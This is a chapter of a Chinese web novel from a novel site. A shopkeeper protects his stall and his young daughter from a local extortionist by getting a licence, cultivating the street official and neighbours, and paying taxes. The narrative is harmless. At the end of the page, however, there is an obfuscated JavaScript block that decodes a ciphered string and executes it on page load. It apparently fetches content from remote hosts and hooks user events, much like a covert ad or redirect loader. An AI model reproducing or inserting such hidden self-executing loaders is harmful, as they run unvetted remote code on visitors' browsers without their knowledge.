首页
第十一章:苍蝇与壁垒(下)
返回
关灯 护眼:关 字号:小

第十一章:苍蝇与壁垒(下)

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    第十一章:苍蝇与壁垒(下)(第1/2页)
    围观的人群见没打起来,议论着散了。
    张婶走过来,拍了拍林凡的肩膀——她的手很粗糙,带着洗菜的水,有点凉,却很有力:
    “凡子,你也太老实了,跟黑皮这种人不用客气,他再敢来,你就找街道的李干事,李干事最恨这种欺负人的,能治得了他!”
    王猛放下榔头,气得呼哧呼哧像头老牛,胸口起伏得厉害,连话都说不连贯,手指着黑皮走的方向,声音都发颤:
    “妈的!这黑皮就是个无赖!凡子,咱……咱就这么忍着?天天喂这帮孙子?这钱花得冤!”
    林凡的脸色也冷了下来,刚才的客气全没了,像层壳被剥掉。
    他看着黑皮消失的方向——黑皮拐进了家属区的小巷,巷口有个公共厕所,墙面上满是涂鸦——眼神像淬了冰的刀,带着狠劲:
    “忍?当然不。猛子,今天你做得对,没你,这棚子可能真被砸了,但拼命不是长久办法——你总不能天天举着榔头守着。咱们得想办法筑道墙,让他们不敢随便来惹事,让笑笑不用再躲着。”
    他伸手摸了摸笑笑的头,孩子还躲在纸箱后,小手攥着糖罐,糖纸都被捏破了,露出里面的橘子糖,糖都有点化了,粘在指头上。笑笑见他看过来,小声说:
    “爸爸,我数到五十了,还没数完。”声音软乎乎的,带着点怕。
    林凡帮笑笑把糖纸理了理,又擦了擦她手上的糖汁,才起身关好棚板,锁上那把旧挂锁——锁芯都锈了,是林凡从旧货市场花一块钱买的,钥匙转了好几圈才锁上,还“咔哒”响了一声,像在叹气。
    他抱起笑笑,孩子的小胳膊紧紧搂着他的脖子,脸贴在他的胸口,还在微微发抖,连呼吸都很轻,怕惊动了什么。
    “别怕,爸爸在,以后没人敢欺负咱们了。”
    他轻声哄着,脚步却走得沉,心里像压着块石头——黑皮这只“苍蝇”不赶走,他这小店就不得安宁,笑笑也总活在害怕里。
    回家的路上,林凡没说话,大脑却转得飞快。
    路边的垃圾桶旁,有只苍蝇在叮一块剩馒头,嗡嗡地飞,时不时停下来啃两口,那馒头都发馊了,还沾着点土。
    他路过时,挥手赶走了苍蝇,馒头滚到了路边,又引来两只蚂蚁。他突然明白,底层的小生意,在这个年代就像没盖盖子的肉——裸露在阳光下,总会引来苍蝇叮,躲也躲不开,忍也忍不久,拼也拼不过。
    光靠躲、靠忍、靠拼命,都解决不了根本问题,得给自己筑一道“壁垒”,一道让苍蝇不敢轻易下嘴的墙。
    晚上,哄睡笑笑后——笑笑睡前还拉着他的衣角,小声问
    “爸爸,明天黑皮叔叔还来吗”,
    他摸了摸笑笑的头,说
    “不来了,爸爸会保护你”——
    林凡坐在昏黄的钨丝灯下。那灯泡是15瓦的,光线很暗,照在桌上只能看清一小块,周围都是昏沉沉的影子。
    桌上的笔记本摊开着,是他捡的旧作业本,背面用来记东西,纸都有点发黄了。
    他拿起铅笔——是柜台里剩的,笔芯有点断,写起来总“断墨”——在“安全第一”下面重重写下三个词:关系、规则、借力。
    笔尖划过纸页,留下深深的痕迹,像在木板上刻下决心,连纸都被戳得微微发皱。他看着这三个词,手指在上面敲了敲,开始琢磨具体的办法,像在盘算一盘棋,一步都不敢错:
    直接给黑皮塞钱?不行。欲壑难填,今天要一百,明天可能要两百,后天说不定要五百,还会被他捏着把柄——
    他会觉得你好欺负,以后想怎么拿捏,就怎么拿捏,永远甩不掉,就像苍蝇叮上肉,越叮越紧,最后连骨头都要被啃了。
    那就要靠“规则”——把自己放进正式的规则里,让黑皮这种苍蝇不敢轻易下嘴。规则就像苍蝇拍,不一定能打死苍蝇,但至少能让它们不敢乱飞,不敢明目张胆地叮肉。
    思路渐渐清晰,像雾散后的路,每一步都很明确:
    第一步,办营业执照。
    明天一早就去工商所,哪怕只是最简陋的个体户执照,也代表他的生意是受政府认可的——不是“野摊子”,不是黑皮想砸就能砸的。
    黑皮欺负无照摊贩时理直气壮,因为没人管;但对有执照的正式商户,多少会忌惮——闹大了可能引来工商所的人,他也不想惹官非,毕竟“官”比“混子”更不好惹,他再横,也不敢跟政府对着干。
    第二步,找街道搭线。
    去跟街道的李干事搞好关系——李干事是家属区的“父母官”,管着治安、卫生,黑皮再横,也得给街道几分面子,怕李干事找他麻烦。
    按时交租金、卫生费(一个月五块),偶尔送点不值钱的小礼——比如快过期的奶糖、笑笑穿小的旧衣服(洗干净的,叠得整整齐齐),不用贵,关键是混个脸熟,让李干事记得有他这么个人,记得他是个“老实本分的生意人”。
    真出事了,李干事的一句话,可能比王猛的榔头还管用,黑皮再凶,也不敢不听李干事的话。
    第三步,处好邻居关系。
    跟旁边修鞋的张师傅、卖报纸的刘大妈处好关系——张师傅是退伍军人,脾气直,嗓门大,能镇住人,以前黑皮想抢他的钱,被他用修鞋的榔头赶跑过;
    刘大妈嘴碎,消息灵通,家属区里一点事她都知道,而且她认识的人多,真有事,她喊一嗓子,能来好几个邻居帮忙。
    平时递根烟、送瓶汽水(夏天五毛钱一瓶,冰的),下雨时帮张师傅收收摊子(他的修鞋摊有块帆布,下雨时得盖着),刘大妈忙时帮她看会儿报纸(怕被人拿,她卖报纸全靠自觉)。
    真有麻烦,邻居们帮着喊一声,也能吓退黑皮——他再横,也不敢跟一群街坊作对,怕被人戳脊梁骨,以后在家属区里抬不起头。
    第四步,主动提纳税。
    如果办了执照,就去税务所咨询定额税——个体户定额税一般不高,估计一个月二十块左右。虽然会多花点钱,但“纳税人”的身份也是一层保护。
    他可以对外说:“我这可是给国家交了税的正经生意,你们乱来,税务所的同志可是要过问的!”
    黑皮再浑,也不敢跟“国家的生意”过不去,怕被安个“抗税”的罪名,那可不是拘留几天就能解决的。
    想通这些,林凡心里踏实了些,像压在心里的石头挪开了一块。
    这道壁垒虽然简陋,像用泥土和木头搭的墙,不结实,却至少能挡住大部分苍蝇,让他的小店能安稳地活下去——不用再担心黑皮天天来闹,不用再让笑笑躲在纸箱后害怕,不用再让王猛天天举着榔头守着。
    第二天一早,林凡就让王猛看店——反复叮嘱他
    “别跟人起冲突,黑皮来了就给烟给奶,别吵,等我回来,千万别动手”,
    还把准备好的烟和奶放在柜台显眼处,摆得整整齐齐——自己则抱着笑笑,直奔辖区的工商管理所。
    工商所是栋五十年代的旧楼,红砖墙,墙皮剥落处露出里面的青砖,像老人脸上的皱纹。
    门口挂着块掉漆的木牌,写着“XX区工商行政管理所”,木牌上的字都快看不清了,边角还缺了块。楼里的走廊很暗,墙壁上贴着“个体工商户登记流程”的红纸,边角卷了,还沾着点灰,空气里飘着墨水味和旧纸张的霉味,呛得笑笑打了个喷嚏。
    里面的工作人员是个六十岁左右的老头,姓张,穿着蓝色的工商制服,制服的扣子掉了一颗,用别针别着,别针还是银色的。
    他戴着副塑料框的老花镜,镜片有划痕,看东西时得眯着眼,正坐在桌前拨弄老式算盘,“噼里啪啦”响,像炒豆子,算着什么账本。
    他的态度不算热情,却也没刁难人,抬头看了林凡一眼,声音有点哑:
    “办个体户执照?填这个表,要场地证明、身份证复印件,经营范围写清楚,别乱写——比如卖吃的要卫生证,你卖百货不用,省事。”
    林凡接过表格,是张黄色的纸,边缘有点毛糙,上面印着黑色的字,字都有点模糊了。
    他认真地填着,一笔一划,怕写错:“经营者姓名”栏写“林凡”,字迹工整;“经营场所”栏填“XX家属区3号楼南侧临时棚”,连“临时棚”三个字都没漏;“经营范围”填“日用百货、儿童玩具零售”,不敢多写一个字;“资金数额”填“两百元”——这是他所有的本钱,一分都没多填,怕惹麻烦。
    场地证明是昨天找街道李干事盖的章,红色的印泥还没完全干透,印着“XX街道办事处”的字样,章的边缘有点模糊;
    身份证复印件是在路边的复印店印的,五毛钱一张,边角还沾着点墨——复印店的机器有点旧,总漏墨。
    张老头接过表,翻了翻,又看了看林凡怀里的笑笑——笑笑正盯着桌上的算盘看,眼睛睁得圆圆的,好奇地想伸手摸——叹了口气,声音软了点:
    “不容易,带个孩子做生意。审批要三天,三天后来拿,别迟到,晚了我可不等你。”
    从工商所出来,林凡又去了街道办。
    街道办在家属区的中心,是间平房,门口挂着“为民服务”的红牌子,牌子擦得很亮。
    (本章未完,请点击下一页继续阅读)第十一章:苍蝇与壁垒(下)(第2/2页)
    李干事正在屋里喝茶,他五十多岁,头发花白,梳得整整齐齐,袖口挽着,露出块上海牌的机械表,表盘有点花,却擦得很干净。
    桌上堆着街道的通知,有“夏季防蚊通知”“计划生育宣传页”,还有个搪瓷杯,杯身上印着“劳动最光荣”,杯沿有点缺角,里面泡着绿茶,茶叶在水里飘着。
    林凡没提黑皮的事——怕显得自己麻烦,怕李干事觉得他“事多”——只是从包里掏出一包红塔山,是昨天特意去百货店买的,八块钱一包,比给黑皮的烟贵十倍,他自己都舍不得抽。
    他双手递过去,腰微微弯着:“李干事,我在咱们街道租了个小棚子,卖儿童用品,昨天刚开张,今天来跟您打个招呼。
    以后我肯定遵守街道的规定,按时交租金、卫生费,绝不给您添麻烦。要是有啥做得不对的地方,您尽管批评,我一定改。”
    李干事愣了愣,接过烟,放在桌上——没立刻拆,只是用手指敲了敲烟盒——脸上露出点笑,比刚才和蔼多了:
    “哦,是你啊,那个带孩子的小伙子。你那棚子我路过看了,收拾得挺利索,比以前干净多了——以前那地方堆废品,脏得很,老鼠都往里面钻。
    好好干,别搞歪门邪道,有事随时来找我,街道能帮的肯定帮,咱们就是为街坊服务的。”
    他端起搪瓷杯,喝了口茶,茶叶在杯底沉着,没说话,却让林凡心里踏实了不少。
    “哎,谢谢李干事!我肯定好好干!”
    林凡连连点头,心里的石头又落了一块,像卸下了千斤重担——有李干事这句话,至少黑皮不敢太过分,不敢明目张胆地来砸棚子。
    回到小店,王猛赶紧迎上来,声音还带着点急,手里拿着个空奶瓶——是黑皮的跟班麻杆拿走的——脸上满是担心:
    “凡子,咋样?黑皮的跟班麻杆刚才来了,拿走了一包烟和一瓶奶,没多说啥,就是眼神不太好,盯着柜台里的写字板看了半天,我没敢跟他搭话,就按你说的,给了东西就让他走了。”
    “嗯,知道了,你做得对。”
    林凡点点头,从包里拿出几包“经济烟”——刚才在工商所门口买的,五包四块钱,烟盒都有点皱了——和几瓶橘子味汽水,五毛钱一瓶,冰的,瓶身上还挂着水珠,递给王猛:
    “等会儿你把这烟给旁边修鞋的张师傅送去,汽水给卖报纸的刘大妈,就说邻里之间互相照应,别客气——张师傅要是在修鞋,你就帮他递个钉子;刘大妈忙时帮她看会儿报纸,别让人家拿了。”
    王猛虽然不解——觉得没必要送东西,觉得“浪费钱”——却还是照做了。
    张师傅接过烟,卷了卷塞进耳朵里,笑得眼睛都眯了,露出豁了的牙,声音洪亮:
    “凡子这小伙子,会来事!以后黑皮再来捣乱,你跟我说一声,我这修鞋的榔头也不是吃素的——上次他想抢我修鞋的钱,被我一榔头吓跑了,敲他两下让他记着,看他还敢不敢来!”
    刘大妈接过汽水,拧开瓶盖,先给笑笑倒了小半杯——怕凉着孩子,倒的是不那么冰的——笑着说:
    “以后你家笑笑放学没人看,就放我这儿,我帮你看着,还能给她讲故事——我孙女跟她差不多大,正好有伴,俩孩子能一起玩。你放心去进货,我帮你看店都行,保准丢不了东西。”
    三天后,林凡去工商所拿到了营业执照。
    那是一张薄薄的纸,上面印着他的名字、经营场所、经营范围,还盖着红色的公章,红得发亮,像颗定心丸。
    他特意在路边的小卖部买了个塑料相框,五块钱,天蓝色的,边缘有点毛糙,却很结实,能保护执照不被弄脏。
    他把执照小心地放进去,用钉子钉在棚子最显眼的位置——正对门口,一进门就能看见——阳光照在上面,红色的公章格外醒目,像块盾牌挡在棚子中央,挡住了外面的风风雨雨。
    当天下午,黑皮又来了。
    他刚走到棚子前,目光就落在了那张执照上,眼神像被针扎了下,闪烁了一下——他认识“营业执照”这几个字,知道这是政府发的,不是闹着玩的。
    他没像以前那样踹木板,也没嬉皮笑脸,只是站在门口,脸色有点沉。
    林凡递过烟和奶,他接了,手指捏着奶盒,指尖泛白,没多说什么,只嘟囔了句“别耍花样”,就匆匆走了,脚步比平时快了些,连晃肩膀的劲都没了。
    路过张师傅的修鞋摊时,他还特意绕了绕——张师傅正拿着榔头敲钉子,抬头瞪了他一眼,他赶紧低下头,快步走了。
    林凡看着黑皮的背影,嘴角露出一丝浅笑。
    他知道,自己筑的第一道壁垒,已经起作用了——那纸执照虽然薄,却像道无形的墙,挡住了黑皮的嚣张,让黑皮不敢再像以前那样肆无忌惮。
    接下来的日子,林凡按时去街道交租金——每月1号,他都亲手把钱交给李干事,让李干事在账本上签个字,自己也记着,一笔都不马虎;偶尔给李干事送点水果——比如快放坏的苹果(两块钱一斤,虽然有点软,却很甜)、有点软的香蕉(一块五一斤,剥了皮就能吃),李干事也不嫌弃,还会跟他聊两句生意:
    “最近卖得咋样?要不要帮你在街道的通知栏贴个小广告?免费的,帮你招揽点生意。”
    林凡连忙说
    “不用麻烦,谢谢您”,
    心里却暖烘烘的,像晒了太阳。
    他跟张师傅、刘大妈处得像家人。
    张师傅帮他修过棚子的门——门轴松了,张师傅用锤子敲了敲,上了点油,没收一分钱,还说
    “邻里之间,这点小事不算啥”;
    刘大妈常帮他看笑笑,有时候还会带点自家做的玉米面馒头——带着枣香,笑笑最爱吃,一次能吃两个;下雨时,刘大妈还会帮他收柜台里的货,怕被雨水淋湿。
    他还去税务所办了定额税,每个月交二十块钱,拿到了完税证明——粉色的纸,上面印着“完税凭证”四个字,还盖着税务所的章,跟营业执照挂在一起,旁边还贴了张“依法纳税光荣”的小贴纸,是税务所给的,红色的,很显眼。
    有次黑皮来拿烟,看见完税证明,皱着眉问
    “这是啥”,
    林凡笑着说
    “给国家交了税的证明,每个月都交,咱这是正经生意”,
    黑皮没再说话,拿了东西就走,连停留都没停留。
    黑皮依旧每天来拿烟和奶,却再也没提过加钱的事,也没让麻杆和冬瓜来捣乱。
    有时候看到张师傅在棚子旁边修鞋,他甚至会绕着走,眼神躲躲闪闪的,像怕被张师傅的榔头敲到;
    看到刘大妈在跟邻居聊天,他也不敢大声说话,怕刘大妈说他坏话,怕邻居们瞪他——他再横,也怕被人戳脊梁骨,怕在家属区里没法立足。
    林凡知道,这道壁垒还不够厚,像用泥土搭的墙,遇到大风可能还会倒——比如黑皮要是找更厉害的人来,比如找外面的“混子”,这道墙就挡不住了。
    但至少现在,它挡住了黑皮这种苍蝇,让他的小店能安稳地营业:每天能卖出去二十瓶AD钙奶、十本笔记本、五副跳棋,有时候还能卖出去几个铅笔盒,一个月能赚两百多块,比以前在工地搬砖还多;
    笑笑能在棚子旁边跟刘大妈的孙子玩,不用再躲在纸箱后害怕,还能每天吃一块小熊饼干,有时候林凡还会给她买根冰棍,草莓味的,笑笑能高兴半天。
    他看着窗外来来往往的顾客——有带着孩子来买玩具的家长,是刚下班的工人,手里拿着工资袋,脸上带着笑;
    有来买奶的邻居,张婶常来,每次都笑着说“给我家孙子带一瓶,他就爱喝这个”;
    看着王猛熟练地给孩子拿铅笔盒,笑着跟顾客聊天——王猛也学会了客气,不再像以前那样急脾气,说话时会放慢语速,怕吓着孩子;
    看着笑笑在旁边追着蝴蝶跑——蝴蝶是从家属区的花坛飞来的,是黄色的,翅膀上有黑点,笑笑追着它跑,笑声像银铃,飘在棚子上空。
    林凡的眼神越来越坚定。
    他要做的,不只是筑一道挡苍蝇的壁垒,还要把这道墙筑得更厚、更牢——下个月他想再进点货,比如儿童故事书,进价一块,卖一块五,孩子们肯定喜欢;
    再把棚子的石棉瓦换成新的,防止漏雨,让棚子更结实点;以后还要开个大点的店,有正经的门面,不再是临时棚,让笑笑能在干净明亮的店里玩,不用再闻废品站的霉味。
    直到有一天,就算没有这道墙,也没有苍蝇敢来叮。
    因为他已经长成了一棵能遮风挡雨的树,而不是一块任人啃咬的肉;
    他的店也会变成一家正经的铺子,受所有人尊重,不再是“任人欺负的小摊子”。
    风从棚子外吹进来,带着点花香——
    家属区花坛里的月季开了,红的、粉的,格外好看——
    柜台上的营业执照在阳光下闪着光,像在告诉他:这条路,你走对了。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();